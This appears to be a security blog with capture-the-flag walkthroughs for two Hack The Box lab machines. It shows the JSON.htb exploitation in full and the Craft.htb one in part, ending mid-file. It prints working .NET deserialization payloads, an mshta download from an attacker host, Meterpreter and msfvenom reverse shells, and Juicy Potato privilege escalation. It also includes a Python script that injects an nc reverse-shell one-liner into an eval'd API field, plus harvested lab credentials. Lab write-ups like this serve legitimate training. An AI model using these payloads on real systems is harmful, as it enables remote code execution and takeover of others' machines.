JSON.htb

Posted: 2020/02/17 in How To's, Information Security
Tags: , ,

Walkthru for JSON.htb

This is a detailed walk-thru for JSON.htb written by dR1PPy

json.htb

JSON was a very fun machine for attacking vulnerable serialization services. This challenge has a very real world feel and was a great overall experience. Much thanks to Cyb3rb0b for putting this challenge together, also for the clever nameplay based on the popular writeup of the attack.

Enumeration

Our NMAP reveals many of the standard services so we start enumeration on them.

Not much seen from the windows side.

_Received reply to probe NBTStat (target port 137) from_ 10.10.10.158:137: 80f08400000000010000000020434b4141414141414141414141414141414141414141414141414141414141410000210001000000000065034a534f4e2020202020202020202020000400574f524b47524f55502020202020200084004a534f4e2020202020202020202020200400005056b9711e00000000000000000000000000000000000000000000000000000000000000000000000000000000

But our www enumeration reveals the following Javascript file.
http://json.htb/js/app.min.js

It looks to contain data which we work to decode.

HTTP/1.1 200 OK
Content-Type: application/javascript
Last-Modified: Thu, 23 May 2019 18:50:23 GMT
Accept-Ranges: bytes
ETag: "342ed0609811d51:0"
Server: Microsoft-IIS/8.5
X-Powered-By: ASP.NET
Date: Thu, 09 Jan 2020 05:12:08 GMT
Connection: close
Content-Length: 2357

var _0xd18f = ["\x70\x72\x69\x6E\x63\x69\x70\x61\x6C\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x24\x68\x74\x74\x70", "\x24\x73\x63\x6F\x70\x65", "\x24\x63\x6F\x6F\x6B\x69\x65\x73", "\x4F\x41\x75\x74\x68\x32", "\x67\x65\x74", "\x55\x73\x65\x72\x4E\x61\x6D\x65", "\x4E\x61\x6D\x65", "\x64\x61\x74\x61", "\x72\x65\x6D\x6F\x76\x65", "\x68\x72\x65\x66", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x6C\x6F\x67\x69\x6E\x2E\x68\x74\x6D\x6C", "\x74\x68\x65\x6E", "\x2F\x61\x70\x69\x2F\x41\x63\x63\x6F\x75\x6E\x74\x2F", "\x63\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x6C\x6F\x67\x69\x6E\x43\x6F\x6E\x74\x72\x6F\x6C\x6C\x65\x72", "\x63\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73", "", "\x65\x72\x72\x6F\x72", "\x69\x6E\x64\x65\x78\x2E\x68\x74\x6D\x6C", "\x6C\x6F\x67\x69\x6E", "\x6D\x65\x73\x73\x61\x67\x65", "\x49\x6E\x76\x61\x6C\x69\x64\x20\x43\x72\x65\x64\x65\x6E\x74\x69\x61\x6C\x73\x2E", "\x73\x68\x6F\x77", "\x6C\x6F\x67", "\x2F\x61\x70\x69\x2F\x74\x6F\x6B\x65\x6E", "\x70\x6F\x73\x74", "\x6A\x73\x6F\x6E", "\x6E\x67\x43\x6F\x6F\x6B\x69\x65\x73", "\x6D\x6F\x64\x75\x6C\x65"]; angular[_0xd18f[30]](_0xd18f[28], [_0xd18f[29]])[_0xd18f[15]](_0xd18f[16], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { _0x30f6x2[_0xd18f[17]] = { UserName: _0xd18f[18], Password: _0xd18f[18] }; _0x30f6x2[_0xd18f[19]] = { message: _0xd18f[18], show: false }; var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }; _0x30f6x2[_0xd18f[21]] = function () { _0x30f6x1[_0xd18f[27]](_0xd18f[26], _0x30f6x2[_0xd18f[17]])[_0xd18f[13]](function (_0x30f6x5) { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[20] }, function (_0x30f6x6) { _0x30f6x2[_0xd18f[19]][_0xd18f[22]] = _0xd18f[23]; _0x30f6x2[_0xd18f[19]][_0xd18f[24]] = true; console[_0xd18f[25]](_0x30f6x6) }) } }])[_0xd18f[15]](_0xd18f[0], [_0xd18f[1], _0xd18f[2], _0xd18f[3], function (_0x30f6x1, _0x30f6x2, _0x30f6x3) { var _0x30f6x4 = _0x30f6x3[_0xd18f[5]](_0xd18f[4]); if (_0x30f6x4) { _0x30f6x1[_0xd18f[5]](_0xd18f[14], { headers: { "\x42\x65\x61\x72\x65\x72": _0x30f6x4 } })[_0xd18f[13]](function (_0x30f6x5) { _0x30f6x2[_0xd18f[6]] = _0x30f6x5[_0xd18f[8]][_0xd18f[7]] }, function (_0x30f6x6) { _0x30f6x3[_0xd18f[9]](_0xd18f[4]); window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] }) } else { window[_0xd18f[11]][_0xd18f[10]] = _0xd18f[12] } }])

We clean it up.

"7072696E636970616C436F6E74726F6C6C6572", "2468747470", "2473636F7065", "24636F6F6B696573", "4F4175746832", "676574", "557365724E616D65", "4E616D65", "64617461", "72656D6F7665", "68726566", "6C6F636174696F6E", "6C6F67696E2E68746D6C", "7468656E", "2F6170692F4163636F756E742F", "636F6E74726F6C6C6572", "6C6F67696E436F6E74726F6C6C6572", "63726564656E7469616C73", "", "6572726F72", "696E6465782E68746D6C", "6C6F67696E", "6D657373616765", "496E76616C69642043726564656E7469616C732E", "73686F77", "6C6F67", "2F6170692F746F6B656E", "706F7374", "6A736F6E", "6E67436F6F6B696573", "6D6F64756C65"

And decode it.

"principalController", "$http", "$scope", "$cookies", "OAuth2", "get", "UserName", "Name", "data", "remove", "href", "location", "login.html", "then", "/api/Account/", "controller", "loginController", "credentials", "", "error", "index.html", "login", "message", "Invalid Credentials.", "show", "log", "/api/token", "post", "json", "ngCookies", "module"

Looks like a controller which handles the login process.
From the look of the controller we are supposed to post our auth request in JSON format to the following URL.

http://json.htb/api/token

Speaking of the login process we can clearly see it is broken as are able to see the homescreen for a second before we get redirected to the login page.
Seems to do some delayed validation on our token, maybe this is broken.

And since the name of the box is JSON, could it be that the JSON post is vulnerable?
So let’s just send a garbage post request.

An error has occurred.Object reference not set to an instance of an object.System.NullReferenceException at DemoAppExplanaiton.Controllers.AccountController.Login(Usuario login) in C:\Users\admin\source\repos\DemoAppExplanaiton\DemoAppExplanaiton\Controllers\AccountController.cs:line 24
at lambda_method(Closure , Object , Object[] )
at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ActionExecutor.<>c__DisplayClass6_2.<GetExecutor>b__2(Object instance, Object[] methodParameters)
at System.Web.Http.Controllers.ReflectedHttpActionDescriptor.ExecuteAsync(HttpControllerContext controllerContext, IDictionary`2 arguments, CancellationToken cancellationToken)
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Controllers.ApiControllerActionInvoker.<InvokeActionAsyncCore>d__1.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Controllers.ActionFilterResult.<ExecuteAsync>d__5.MoveNext()
--- End of stack trace from previous location where exception was thrown ---
at System.Runtime.ExceptionServices.ExceptionDispatchInfo.Throw()
at System.Runtime.CompilerServices.TaskAwaiter.HandleNonSuccessAndDebuggerNotification(Task task)
at System.Web.Http.Dispatcher.HttpControllerDispatcher.<SendAsync>d__15.MoveNext()

Now let's try to post a valid request.

POST /api/token HTTP/1.1
Host: json.htb
Connection: close
Content-Length: 39
Accept: application/json, text/plain, */*
Origin: https://json.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Content-Type: application/json;charset=UTF-8
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/login.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"UserName":"admin","Password":"admin"}

We see we are given back an OAuth2 string that is encoded base 64.

HTTP/1.1 202 Accepted
Cache-Control: no-cache
Pragma: no-cache
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
Set-Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=; expires=Fri, 10-Jan-2020 07:39:10 GMT; path=/
X-Powered-By: ASP.NET
Date: Fri, 10 Jan 2020 07:37:10 GMT
Connection: close
Content-Length: 0

After decoding we find the same JSON values we provided along with a few extra values.

{"Id":1,"UserName":"admin","Password":"21232f297a57a5a743894a0e4a801fc3","Name":"User Admin HTB","Rol":"Administrator"}

We see the same cookie is provided a few requests later to access the accounts page.

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

So to recap we have found that we provide credentials, and are given those credentials back in an encoded format.
We then use that encoded token to authenticate with other pages.

I smell a deserialization attack here..
So we fuzz the fields we found around the login process.
And we find we are able to generate an error response when we fuzz the Bearer: field

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: dR1PPy
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Which spits out an error message with more info.

HTTP/1.1 500 Internal Server Error
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/8.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 10 Jan 2020 09:07:30 GMT
Connection: close
Content-Length: 145

{"Message":"An error has occurred.","ExceptionMessage":"Cannot deserialize Json.Net Object","ExceptionType":"System.Exception","StackTrace":null}

And there we validate our possible exploit vector.
Our OAuth2 JSON token is being deserialized by the application, using the Json.Net deserializer.

After some web searching we find a tool that will help us generate some test payloads.
https://github.com/pwntester/ysoserial.net

Lucky for us we find we don't even need to generate a payload as just modifying one of the examples allows us to test code execution.
We also run it thru a quick JSON formatter to fix some of the syntax from the example and end up with.

{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":[
"cmd",
"/c ping -n 5 10.10.14.32"
]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}

We base64 encode our payload and send it as our Bearer value.

GET /api/Account/ HTTP/1.1
Host: json.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://json.htb/index.html
Bearer: ewogICAiJHR5cGUiOiJTeXN0ZW0uV2luZG93cy5EYXRhLk9iamVjdERhdGFQcm92aWRlciwgUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNSIsCiAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAiTWV0aG9kUGFyYW1ldGVycyI6ewogICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAiJHZhbHVlcyI6WwogICAgICAgICAiY21kIiwKICAgICAgICAgIi9jIHBpbmcgLW4gNSAxMC4xMC4xNC4zMiIKICAgICAgXQogICB9LAogICAiT2JqZWN0SW5zdGFuY2UiOnsKICAgICAgIiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiCiAgIH0KfQ==
Connection: close
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

Despite an error returned from the web server the code is still executed.

sudo tcpdump -i tun0 icmp
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on tun0, link-type RAW (Raw IP), capture size 262144 bytes
15:07:38.344611 IP json.htb > hostname: ICMP echo request, id 1, seq 16, length 40
15:07:38.344631 IP hostname > json.htb: ICMP echo reply, id 1, seq 16, length 40
15:07:39.350560 IP json.htb > hostname: ICMP echo request, id 1, seq 17, length 40
15:07:39.350599 IP hostname > json.htb: ICMP echo reply, id 1, seq 17, length 40
15:07:40.366236 IP json.htb > hostname: ICMP echo request, id 1, seq 18, length 40
15:07:40.366259 IP hostname > json.htb: ICMP echo reply, id 1, seq 18, length 40
15:07:41.384059 IP json.htb > hostname: ICMP echo request, id 1, seq 19, length 40
15:07:41.384093 IP hostname > json.htb: ICMP echo reply, id 1, seq 19, length 40
15:07:42.398531 IP json.htb > hostname: ICMP echo request, id 1, seq 20, length 40
15:07:42.398566 IP hostname > json.htb: ICMP echo reply, id 1, seq 20, length 40

Gaining Shell Access

Lets use our new execution method to get ourselves a quick shell.

use exploit/windows/misc/hta_server

Module options (exploit/windows/misc/hta_server):

Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 10.10.14.32 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 80 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)

Payload options (windows/meterpreter/reverse_tcp):

Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 10.10.14.32 yes The listen address (an interface may be specified)
LPORT 8080 yes The listen port

exploit -j -z
[*] Exploit running as background job 4.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.32:8080
msf5 exploit(windows/misc/hta_server) > [*] Using URL: http://10.10.14.32:80/ppzHaeCjjlJw.hta

Now we use this URL in our attack.

{
"$type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"MethodParameters":{
"$type":"System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"$values":[
"cmd",
"/c mshta.exe http://10.10.14.32:80/ppzHaeCjjlJw.hta"
]
},
"ObjectInstance":{
"$type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
}
}

We base64 encode our updated payload and send it.

GET /api/Account/ HTTP/1.1
Host: json.htb
Connection: close
Accept: application/json, text/plain, */*
Bearer: ewogICAiJHR5cGUiOiJTeXN0ZW0uV2luZG93cy5EYXRhLk9iamVjdERhdGFQcm92aWRlciwgUHJlc2VudGF0aW9uRnJhbWV3b3JrLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNSIsCiAgICJNZXRob2ROYW1lIjoiU3RhcnQiLAogICAiTWV0aG9kUGFyYW1ldGVycyI6ewogICAgICAiJHR5cGUiOiJTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiLAogICAgICAiJHZhbHVlcyI6WwogICAgICAgICAiY21kIiwKICAgICAgICAgIi9jIG1zaHRhLmV4ZSBodHRwOi8vMTAuMTAuMTQuMzI6ODAvcHB6SGFlQ2pqbEp3Lmh0YSIKICAgICAgXQogICB9LAogICAiT2JqZWN0SW5zdGFuY2UiOnsKICAgICAgIiR0eXBlIjoiU3lzdGVtLkRpYWdub3N0aWNzLlByb2Nlc3MsIFN5c3RlbSwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkiCiAgIH0KfQ==
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: https://json.htb/index.html
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: OAuth2=eyJJZCI6MSwiVXNlck5hbWUiOiJhZG1pbiIsIlBhc3N3b3JkIjoiMjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzMiLCJOYW1lIjoiVXNlciBBZG1pbiBIVEIiLCJSb2wiOiJBZG1pbmlzdHJhdG9yIn0=

And now we have a wonderful little shell 🙂

<br />[*] Server started.
[*] 10.10.10.158 hta_server - Delivering Payload
[*] Sending stage (180291 bytes) to 10.10.10.158
[*] Meterpreter session 1 opened (10.10.14.32:8080 -> 10.10.10.158:64771) at 2020-01-10 15:44:00 -0700

Gaining Admin Access

During basic enumeration we find the host may be vulnerable to the potato PrivEsc attacks.
We find the "SeImpersonatePrivilege" is enabled for this user.

whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ========================================= ========
SeAssignPrimaryTokenPrivilege Replace a process level token Disabled
SeIncreaseQuotaPrivilege Adjust memory quotas for a process Disabled
SeAuditPrivilege Generate security audits Disabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeImpersonatePrivilege Impersonate a client after authentication Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

So let's try to exploit this using the Potato attack which takes advantage of this setting.

To use the potato attack we need to find a valid CLSID that will allow us to escalate.
We create a quick batch file to get the CLSID's from the target

New-PSDrive -Name HKCR -PSProvider Registry -Root HKEY_CLASSES_ROOT
Get-ItemProperty HKCR:\clsid\* | select-object AppID,@{N='CLSID'; E={$_.pschildname}} | where-object {$_.appid -ne $null}

Copy the output to our local machine for some syntax cleanup.

awk '{print $3}' > CLSID.list

Now we copy our list along with the test batch file to our target.

https://raw.githubusercontent.com/ohpe/juicy-potato/master/Test/test_clsid.bat

Soon we get output on some possible CLSID's to use for escalation
The increase in the 10000 value means previous CLSID is a valid target)

c:\Users\userpool\Downloads>test_clsid.bat
test_clsid.bat
{00021401-0000-0000-C000-000000000046} 10000
{000C101C-0000-0000-C000-000000000046} 10000
{0010890e-8789-413c-adbc-48f5b511b3af} 10000
{00f2b433-44e4-4d88-b2b0-2698a0a91dba} 10000
{010911E2-F61C-479B-B08C-43E6D1299EFE} 10000
{0289a7c5-91bf-4547-81ae-fec91a89dec5} 10000 <<< Valid CLSID
{031EE060-67BC-460d-8847-E4A7C5E45A27} 10001
{0358b920-0ac7-461f-98f4-58e32cd89148} 10001
...........................................
{6CF9B800-50DB-46B5-9218-EACF07F5E414} 10001 <<juicypotato -z -l 11000 -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}
juicypotato -z -l 11000 -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}
{6CF9B800-50DB-46B5-9218-EACF07F5E414};NT AUTHORITY\SYSTEM

So we generate our payload

msfvenom -p cmd/windows/reverse_powershell lhost=10.10.14.32 lport=8800 > 1.bat

Copy it over to the target and start our listener

nc -lvp 8800

Execute our escalation exploit

juicypotato -t * -l 32007 -p C:\Users\userpool\Downloads\1.bat -c {6CF9B800-50DB-46B5-9218-EACF07F5E414}

And get our Root Shell

listening on [any] 8800 ...
connect to [10.10.14.32] from json.htb [10.10.10.158] 50440
Microsoft Windows [Version 6.3.9600]
(c) 2013 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Now sit back and twist your mustache and adjust your monocle cause you just owned JSON like a Sir!


Resources:

Learn about Serialization/Deserialization attacks

https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf

 

OWASP Cheatsheet
https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html

 

JSON Web Token Decoder
https://www.jsonwebtoken.io/

 

JSON Formatter
https://jsonformatter.curiousconcept.com/

 

Windows Reverse Shell One-Liners

Get Reverse-shell via Windows one-liner

 

Abusing Tokens for Windows Privilege escalation
Abusing Token Privileges For Windows Local Privilege Escalation

 

Juicy Potato
https://github.com/ohpe/juicy-potato

Craft.HTB

Posted: 2020/01/14 in How To's, htb

Walk-Thru for Craft.HTB

 

This is a detailed walk-thru for craft.htb written by dR1PPy

Craft.htb

Overall the host has been graded with a fair rating.
The path to user is not simple, but there are not a lot of rabbit holes to find yourself trapped in.
The path to root was fairly easy if you can catch the clue fast enough.
This was one of those rare machines where I was able to get root access with no privesc scripts.

This machine helped with understanding how to attack python based applications, and working with API’s.
Much thanks to rotarydrone for the challenge!

. * .. . * *
* * @()Ooc()* o .
(Q@*0CG*O() ___
|\_________/|/ _ \
| | | | | / | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | | | |
| | | | | \_| |
| | | | |\___/
|\_|__|__|_/|
\_________/

Services Scan

Services
========

host port proto name state info
---- ---- ----- ---- ----- ----
10.10.10.110 22 tcp ssh open OpenSSH 7.4p1 Debian 10+deb9u5 protocol 2.0
10.10.10.110 443 tcp ssl/http open nginx 1.15.8
10.10.10.110 6022 tcp ssh open protocol 2.0

So looks like we are dealing with HTTPS & SSH, no UDP based services were found.

Getting User Access

After port scanning we start with a visit to the HTTPS website.
From here we see links to 2 other URL’s which we add to our /etc/hosts

api.craft.htb
gogs.craft.htb

Reviewing both URL’s reveals more information on possible paths to attack.

We are presented with an API which lists its variables in a friendly how to page.

api

And a private code repository

gogs

We explore the Gogs repos and find repository for the API which allows us to read the source code.

After reviewing the code we find some info on how it creates auth tokens.
What DB is being used and what a few test scripts to verify things.
We also find some user credentials which was removed in a previous commit.

gogs-leak

dinesh:4aUh0A8PbVJxgd

We try the credentials for SSH but are unsuccessful. Let’s keep looking at the code.

We also notice from the issues page a weakness was reported around a parameter that allows unsanitized input.

https://gogs.craft.htb/Craft/craft-api/issues/2

Maybe we can use this method to gain access?

Looking again at the test script in which we found our credentials, and we notice it was written to test this specific issue.

https://gogs.craft.htb/Craft/craft-api/raw/master/tests/test.py

So we download the test script and make a few minor modifications to get our attack moving.
We fight with our syntax for a bit but eventually get a shell back using the script below.

#!/usr/bin/env python

import requests
import json

response = requests.get('https://api.craft.htb/api/auth/login', auth=('dinesh', '4aUh0A8PbVJxgd'), verify=False)
json_response = json.loads(response.text)
token = json_response['token']

headers = { 'X-Craft-API-Token': token, 'Content-Type': 'application/json' }

# make sure token is valid
response = requests.get('https://api.craft.htb/api/auth/check', headers=headers, verify=False)
print(response.text)

print(response.text)

# create a sample brew with real ABV... should succeed.
print("Attacking ABV Variable")
brew_dict = {}

# Payloads that have failed [ nc direct calls, wget calls, curl calls, direct /bin/bash calls ]
brew_dict['abv'] = '__import__("os").system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 8088 >/tmp/f") & 0.15'

brew_dict['name'] = 'bullshit'
brew_dict['brewer'] = 'bullshit'
brew_dict['style'] = 'bullshit'

json_data = json.dumps(brew_dict)
response = requests.post('https://api.craft.htb/api/brew/', headers=headers, data=json_data, verify=False)

print(response.text)

Ok now we have reverse shell and we see we are root user!?
But we don’t find any user or root flags and some basic commands are not available (dir?)
Could this be a virtual instance or restricted shell?

We quickly validate we are in a docker image.

cat /proc/1/cgroup
10:perf_event:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
9:blkio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
8:cpu,cpuacct:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
7:memory:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
6:pids:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
5:freezer:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
4:cpuset:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
3:net_cls,net_prio:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
2:devices:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c
1:name=systemd:/docker/5a3d243127f5cfeb97bc6332eda2e4ceae19472421c0c5a7d226fb5fc1ef0f7c

A quick enumeration of the Craft-API folder and we find an interesting settings file.

/ # find * | grep craft
opt/app/craft_api
opt/app/craft_api/api
opt/app/craft_api/api/auth
opt/app/craft_api/api/auth/__pycache__
opt/app/craft_api/api/auth/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/auth/endpoints
opt/app/craft_api/api/auth/endpoints/__pycache__
opt/app/craft_api/api/auth/endpoints/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/auth/endpoints/__pycache__/auth.cpython-36.pyc
opt/app/craft_api/api/auth/endpoints/auth.py
opt/app/craft_api/api/auth/endpoints/__init__.py
opt/app/craft_api/api/auth/__init__.py
opt/app/craft_api/api/__pycache__
opt/app/craft_api/api/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/__pycache__/restplus.cpython-36.pyc
opt/app/craft_api/api/__init__.py
opt/app/craft_api/api/brew
opt/app/craft_api/api/brew/__pycache__
opt/app/craft_api/api/brew/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/brew/__pycache__/serializers.cpython-36.pyc
opt/app/craft_api/api/brew/__pycache__/parsers.cpython-36.pyc
opt/app/craft_api/api/brew/__pycache__/operations.cpython-36.pyc
opt/app/craft_api/api/brew/parsers.py
opt/app/craft_api/api/brew/endpoints
opt/app/craft_api/api/brew/endpoints/__pycache__
opt/app/craft_api/api/brew/endpoints/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/api/brew/endpoints/__pycache__/brew.cpython-36.pyc
opt/app/craft_api/api/brew/endpoints/__init__.py
opt/app/craft_api/api/brew/endpoints/brew.py
opt/app/craft_api/api/brew/__init__.py
opt/app/craft_api/api/brew/serializers.py
opt/app/craft_api/api/brew/operations.py
opt/app/craft_api/api/restplus.py
opt/app/craft_api/__pycache__
opt/app/craft_api/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/__pycache__/settings.cpython-36.pyc
opt/app/craft_api/database
opt/app/craft_api/database/__pycache__
opt/app/craft_api/database/__pycache__/__init__.cpython-36.pyc
opt/app/craft_api/database/__pycache__/models.cpython-36.pyc
opt/app/craft_api/database/__init__.py
opt/app/craft_api/database/models.py
opt/app/craft_api/__init__.py
opt/app/craft_api/settings.py

And as suspected this file contains valuable data in the form of another set of credentials along with the CRAFT_API_SECRET.

# cat /opt/app/craft_api/settings.py
# Flask settings
FLASK_SERVER_NAME = 'api.craft.htb'
FLASK_DEBUG = False # Do not use debug mode in production

# Flask-Restplus settings
RESTPLUS_SWAGGER_UI_DOC_EXPANSION = 'list'
RESTPLUS_VALIDATE = True
RESTPLUS_MASK_SWAGGER = False
RESTPLUS_ERROR_404_HELP = False
CRAFT_API_SECRET = 'hz66OCkDtv8G6D'

# database
MYSQL_DATABASE_USER = 'craft'
